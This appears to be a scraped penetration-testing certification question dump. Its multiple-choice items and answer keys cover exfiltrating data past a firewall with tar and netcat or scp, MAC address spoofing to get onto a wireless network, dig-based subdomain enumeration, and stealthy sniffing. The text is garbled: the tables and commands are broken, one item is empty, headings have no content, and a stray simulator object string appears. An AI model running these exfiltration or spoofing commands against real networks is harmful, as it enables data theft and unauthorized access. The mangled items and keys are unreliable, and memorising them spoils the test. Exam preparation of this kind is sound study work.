A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:
Action | SRC
| DEST
| --
Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP
Block | . | . | *
Which of the following commands should the tester try next?
Correct Answer:
A
Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:
✑ Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).
✑ Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).
✑ Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).
✑ Block: All other traffic (*). Breakdown of Options:
✑ Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3
< /tmp/data.tar.gz
✑ Option B: gzip /path/to/data && cp data.gz
✑ Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3
✑ Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz
References from Pentest:
✑ Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.
✑ Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.
✑ Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.
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DRAG DROP
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.
INSTRUCTIONS
Analyze the code segments to determine which sections are needed to complete a port scanning script.
Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Solution:
Does this meet the goal?
Correct Answer:
A
During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?
Correct Answer:
C
MAC address spoofing involves changing the MAC address of a network interface to mimic another device on the network. This technique is often used to bypass network access controls and gain unauthorized access to a network.
✑ Understanding MAC Address Spoofing:
✑ Purpose:
✑ Tools and Techniques:
Step-by-Step Explanationifconfig eth0 hw ether 00:11:22:33:44:55
✑ uk.co.certification.simulator.questionpool.PList@55bce337
✑ Impact:
✑ Detection and Mitigation:
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups Top of Form
Bottom of Form
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A penetration tester completed OSINT work and needs to identify all subdomains for mydomain.com. Which of the following is the best command for the tester to use?
Correct Answer:
D
Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com reads each line from wordlist.txt and performs a DNS lookup for each potential subdomain.
✑ Command Breakdown:
✑ Why This is the Best Choice:
✑ Benefits:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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A penetration tester is performing network reconnaissance. The tester wants to gather information about the network without causing detection mechanisms to flag the reconnaissance activities. Which of the following techniques should the tester use?
Correct Answer:
A
To gather information about the network without causing detection mechanisms to flag the reconnaissance activities, the penetration tester should use sniffing.
✑ Sniffing:
✑ Advantages:
✑ Comparison with Other Techniques:
Pentest References:
✑ Reconnaissance Phase: Using passive techniques like sniffing during the initial reconnaissance phase helps gather information without alerting the target.
✑ Network Analysis: Understanding the network topology and identifying key assets and vulnerabilities without generating traffic that could trigger alarms.
By using sniffing, the penetration tester can gather detailed information about the network in a stealthy manner, minimizing the risk of detection.
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